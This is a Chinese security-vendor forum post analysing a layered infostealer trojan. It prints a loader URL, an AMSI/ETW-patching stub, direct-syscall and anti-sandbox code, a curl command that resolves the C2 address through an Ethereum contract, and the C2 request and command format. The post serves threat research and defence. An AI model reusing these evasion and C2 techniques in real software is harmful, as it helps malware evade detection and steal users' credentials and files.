查看: 363|回复: 1
收起左侧

[分享] 多层伪装躲避防护检测!分层式模块化窃密木马解析

[复制链接]
火绒工程师
发表于 2026-9-17 17:09:04 | 显示全部楼层 |阅读模式
本帖最后由 火绒工程师 于 2026-9-17 17:09 编辑

1. 样本概括
近日,火绒安全工程师在威胁狩猎过程中捕获一类具备多层对抗能力的模块化窃密木马。该样本采用干扰层+加密外壳层+数据收集执行层的三级分层架构,三层 组件相互独立投递、分别装载,通过反分析与反检测机制规避安全软件查杀及沙箱动态分析。该类窃密木马主要通过伪装欺骗的手进行投放,包括钓鱼邮件; QQ、微信等社交软件与网盘资源;仿冒软件官网、绿色软件站等虚假下载网站,用户下载工具时会一并捆绑恶意程序,这类恶意程序在解压后,第一层干扰组件 率先执行,后续分层依次落地加载,整套恶意代码不会一次性释放完整木马本体,以此对抗安全检测。用户一旦中毒,该木马会扫描本地文档、浏览器账号密码、 聊天记录、邮箱、密钥、各类业务凭证等,并将收集到的文件回传给攻击者,实现用户信息窃取,同时该木马还会在电脑中长期驻留,攻击者可后续下发更多恶意 模块,植入远控、勒索程序;同时前置干扰层还会破坏调试环境、阻碍各类安全产品采集日志,提升后续溯源处置的难度。
目前,火绒安全产品已具备对该恶意软件全攻击链的精准识别与拦截能力,可有效阻断其下载、加载及窃密行为。


查杀图


2. 流程图



3. 阶段一:干扰型下载器
第一层先调用垃圾线程启动器,然后使用硬编码 URL http://185.177.239.241:5001/dit.bin ,调用下载执行函数加载并执行载荷。

3.1 后台“垃圾任务”线程的构成与作用
register_noise_worker_threads通过一个间接线程封装把一组的任务函数逐个注册为常驻线程;经确认,可把任务分成以下类型:
1.为纯 CPU 忙等型,执行高强度数学、大整数、素数筛选及随机数/数据混洗计算,持续消耗 CPU 资源以拖延沙箱分析;

2.为注册表噪音型,频繁枚举、创建并删除 HKCU 下的随机注册表键和值,制造大量注册表操作事件;


3.为文件噪音型,在%TEMP%中反复创建、读写并删除随机临时文件,制造文件 I/O 噪音;


4.为 GUI 噪音型,反复创建隐藏的随机绘图窗口并执行大量 GDI 绘制操作,随后销毁窗口以制造 GUI 事件噪音;


5.为进程噪音型,随机启动多个常见系统程序及命令解释器,并短暂运行或随机终止,制造大量进程创建/终止事件;


6.为网络探测型,对多个常见网站发起 HTTP GET 请求并读取响应,制造网络访问与连接噪音;


7.为命令执行型,随机执行网络配置、文件清理、系统信息查询及磁盘检查等命令,制造命令执行与系统活动噪音;


综合来看,这些线程通过持续执行各类杂务操作,在主机上制造高频系统活动,以拖延沙箱分析、制造大量事件噪音并分散监控关注点。

3.2 下载并内存执行
download_and_execute_payload 是下载执行器,将 URL 下载至缓存文件,读取至内存后删除缓存文件,随后以内存线程方式执行载荷。


4. 阶段二:dit.bin —— 自解密的反射加载器
dit.bin 由入口跳转、配置上下文、加密载荷和尾部低熵的加载主代码组成。


执行时,入口跳转主代码区,靠返回地址完成位置无关自定位,是典型的PIC shellcode 方式。 主函数读标志位后选择走loader_core分支;若该字段非0则执行另一条更复杂的装载路径。


loader_core首先解析三个 API,随后分配缓冲区,把整个ctx复制过去, 若ctx+0x234 == 3,则以ctx+0x14处 16 字节为“key”、ctx+0x4处 16 字节为“secret”,调用decoder_region就地解密从ctx+0x23C开始、长度ctx[0]−0x23C的密文;

解密前


解密后


解密后,依次解析配置中的 5 个 DLL,在已加载模块链中查找,缺失则通过回调加载。 加载前,根据配置中的 Hook 目标,通过 PEB 和 Export Directory 定位函数入口,直接覆盖 12 字节 Stub 实施内联 Hook。


自定义stub为:
  1. <pre language="javascript" code_block="true"><code><font size="3">mov rax, [rsp+28h]
  2. and dword ptr [rax], 0
  3. xor eax, eax
  4. retn
  5. int 3</font></code></pre><pre language="javascript" code_block="true"><code><font size="3">mov rax, [rsp+30h]
  6. and dword ptr [rax], 0
  7. xor eax, eax
  8. retn
  9. int 3</font></code></pre>
复制代码

本样本实际只Hook了3个函数AmsiScanBuffer、AmsiScanString、EtwEventWrite,WLDP与另两个导出仅存在于配置名单。


最后按载荷描述结构中的类型字段分派:类型 1/2 走type12_handler_a/b/finalize,类型 3/4 走type34_handler,类型 5/6 走type56_handler,本样本配置只启用了type34_handler这一种。


type34_handler 是一个标准的手动映射PE 加载器,将第三阶段载荷加载到内存执行。


5. 阶段三: 收集型载荷
5.1 整体流程
解密得到 winhttp.dll 后依次执行三项环境检查,全部通过后初始化 C2 并进入主循环 main_c2_loop。


5.2 反分析与环境检测
样本在开始收集数据之前,会进行环境检测。

5.2.1 直接系统调用
样本通过解析系统核心模块的导出表,逐个提取以 Nt 开头的系统函数的调用编号,运行时按编号直接向内核发起请求。
  1. void BuildSyscallTable(uint8_t *module)
  2. {
  3.     IMAGE_EXPORT_DIRECTORY *exp =GetExportDirectory(module);
  4.     uint32_t numberOfNames = exp->NumberOfNames;
  5.     DWORD *functions =
  6.         (DWORD *)(module + exp->AddressOfFunctions);
  7.     DWORD *names =
  8.         (DWORD *)(module + exp->AddressOfNames);
  9.     WORD *ordinals =
  10.         (WORD *)(module + exp->AddressOfNameOrdinals);
  11.     for (uint32_t i = 0; i < numberOfNames; i++)
  12.     {
  13.         char *name = module + names[i];
  14.         if (name[0] != 'N' || name[1] != 't')
  15.             continue;
  16.         uint32_t hash = HashNtName(name);
  17.         WORD ordinal = ordinals[i];
  18.         uint8_t *func =
  19.             module + functions[ordinal];
  20.         int found = -1;
  21.         for (uint32_t off = 0; off < 0x20; off++)
  22.         {
  23.             if (*(uint8_t *)(func + off) == 0xC3)
  24.                 break;
  25.             if (*(uint32_t *)(func + off) ==
  26.                 0xB8D18B4C)
  27.             {
  28.                 uint32_t ssn =
  29.                     *(uint32_t *)(func + off + 4);
  30.                 found = ssn;
  31.                 break;
  32.             }
  33.         }
  34.         if (found != -1)
  35.         {
  36.             if (!AlreadyInTable(hash))
  37.             {
  38.                 AddEntry(hash, found);
  39.             }
  40.         }
  41.     }
  42. }
复制代码

hash--ssn映射表


5.2.3 已加载模块黑名单
启动后遍历进程已加载模块,将模块名经固定算法计算为 32 位校验值,并与 18 项黑名单比对;命中任一项则终止进程。
  1. bool Guard_ModuleScan(void)
  2. {
  3.     uint32_t blacklist[18];
  4.     memcpy(blacklist, g_sandbox_dll_hashes, sizeof(blacklist));   /* 72 字节定长哈希表 */
  5.   
  6.     PEB *peb = (PEB *)__readgsqword(0x30);
  7.     LIST_ENTRY *head = &peb->Ldr->InLoadOrderModuleList;
  8.     for (LIST_ENTRY *p = head->Flink; p != head; p = p->Flink) {
  9.         LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(p, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  10.         if (!e->BaseDllName.Buffer)
  11.             continue;
  12.         uint32_t seed = ModuleHash_Seed();          /* 初始化上下文值 ^ 0xAE42BCCC */
  13.         uint32_t h    = WideModuleHash(e->BaseDllName.Buffer, seed);   /* 逐 WORD + 8 轮 LFSR + 取反 */
  14.         for (int i = 0; i < 18; i++)
  15.             if (h == blacklist[i])
  16.                 return true;                        /* 命中沙箱/分析工具 DLL → 入口随即 ExitProcess */
  17.     }
  18.     return false;
  19. }
复制代码

沙箱 / AV / mi-guan DLL 黑名单

5.3 数据窃取
样本采用两种数据窃取方式:
  • 指令驱动型:由攻击者服务器实时下发指令,可指定文件、目录或浏览器数据类别,实施按需定向窃取。
  • 自动收集型:每次与服务器交互结束阶段自动执行固定数据收集,无需攻击者下发指令。 样本的窃取范围覆盖“账号类数据、浏览类数据、平台类数据、邮件类数据、主机类数据”五个方向,具体如下:


5.4 命令与控制
5.4.1 URL 解密
样本 C2 采用双通道寻址,3 个静态地址经 ChaCha20 加密存储于二进制中,另有 1 个动态地址通过以太坊 JSON-RPC 实时解析获取。


以太坊链上动态寻址机制,C2 地址的部分解析被托管到以太坊公链之上。通过公共以太坊节点查询特定合约的返回值,再从返回结果中提取 URL。
  1. curl "https://ethereum-rpc.publicnode.com" -H "Content-Type: application
  2. /json" -d "{"jsonrpc":"2.0","id":1,"method":"eth_call",
  3. "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
  4. "data":"0xc2fb26a6"},"latest"]}" -o resp
复制代码

响应的解析流程为:先解密键名result,定位到 result 字段后遍历至 NUL终止符,提取最后 64 个十六进制字符并拼接为 URL。
  1. {"jsonrpc":"2.0","id":1,"result":"0x00000000000000000000000000000000000000000000000000000000
  2. 0000002000000000000000000000000000000000000000000000000000000
  3. 00000000017687474703a2f2f666967687477612e62697a3a35393032000000000000000000"}
复制代码

5.4.2请求包构造
样本与 C2 的交互均封装于 HTTP 请求中,采用标准表单传输指令与状态,上报采集结果时使用多段表单。请求头通过伪造 Host 和伪装User-Agent进行通信伪装。
  1. POST /tasks HTTP/1.1                     
  2. Host: github.com                         ← 伪装头
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  4. Content-Type: application/x-www-form-urlencoded      ← 表单通道(取命令/上报)(multipart/form-data; boundary=… 用于采集数据上传;

  5. access_token=<全局缓冲>
  6. &step=<十进制轮次,div 10 + 0x30 转文本>
  7. &type=<命令类型>
  8. &data=<命令数据>
  9. [&id=…&name=…&path=…&depth=…&sync=…&indb=…&extensions=…&link=…&lib=…]
复制代码

请求体由一组键值对构成,键名在样本内不以明文保存,而是在运行时逐字解密后再拼装,键值的语义如下:

5.4.3 响应包解析
样本实现了一套自带的 JSON 解析器。
  1. /* 响应解析器:节点 = { uint64 value; node *next; char *key }; */
  2. int Json_Parse(const char *s, const char **out_end, uint64_t *out_root, POOL *pool)
  3. {
  4.     int   depth = -1;
  5.     char  kind[32];                       /* 容器类型栈(2=数组 3=对象) */
  6.     void *cur[32], *pending[32];          /* 当前成员链 / 待挂载值 */
  7.   
  8.     for (;;) {
  9.         while (isspace((unsigned char)*s)) s++;
  10.         switch (*s++) {
  11.         case '"':                          /* 字符串:去转义;\uXXXX → UTF-8 */
  12.         case '0' ... '9': case '-':        /* 数字:整数/小数/指数 → IEEE-754 double 位模式 */
  13.         case 't': case 'f': case 'n':      /* true/false/null */
  14.         case '[': case '{':                /* 容器入栈;depth 达 32 → 返回 4 */
  15.         case ']': case '}':                /* 容器闭合;类型不符 → 返回 6 */
  16.         case ',': case ':':                /* 分隔符校验;有键无值 → 返回 8 */
  17.         default:  return 7;                /* 非法 token */
  18.         }
  19.         /* 值就绪:作为数组元素 / 对象成员挂入链表;depth == -1 时返回 0解析完成 */
  20.     }
  21. }
复制代码

响应解析完成后,样本会从中取出两个公共键:type与data;其余键按指令类型选择性读取。完整字段集如下:

5.4.4 C2 命令分发
样本把响应中的 type 作为唯一分发依据。
  1. int cmd_dispatch(void *ctx, int type)
  2. {
  3.     switch (type) {                             /* 0–5 命中 6 项跳转表 */
  4.     case 0:  return dir_entry_collect(ctx, json_root);   /* 目录/条目树采集 */
  5.     case 1:  return cleanup_and_return_0();              /* 空操作 */
  6.     case 2:  return file_copy_collect(json_root);        /* 任意文件窃取 */
  7.     case 3:  return ext_and_creds_collect(json_root);    /* 浏览器数据(history/credentials/cookies/ldb) */
  8.     case 4:  return ext_table_collect(ctx, json_root);   /* 枚举目录, Firefox/NSS 库 key4.db */
  9.     case 5:  return cleanup_and_return_0();              /* 收尾:下一跳投递 / 执行 / 下载 */
  10.     }
  11. }
复制代码

在每轮交互收尾时,样本都会无条件执行一轮本地收集,与服务器是否下发指令无关:枚举已安装软件清单、枚举运行中进程清单、取走游戏平台的登录态数据、按条件抓取多显示器整屏截图、采集显示设备信息,并分两批压缩加密上传服务器。
该木马可通过层层伪装躲避安全防护软件检测,既会自动偷取电脑里的各类隐私资料,也能听从攻击者指令定向盗取文件、账号信息。用户一旦中招,将会为用户带来极大的信息外泄风险。火绒安全在此提醒广大用户:
1.不要随意点开陌生邮件、聊天软件发来的不明文件,尽量不下载网上的破解、激活类工具;
2.保持安全防护软件正常开启,重要文件做好备份;
3.如果电脑出现异常卡顿、莫名联网等情况,请及时全盘扫描排查风险。


IOC





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-31 12:12 , Processed in 0.055465 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表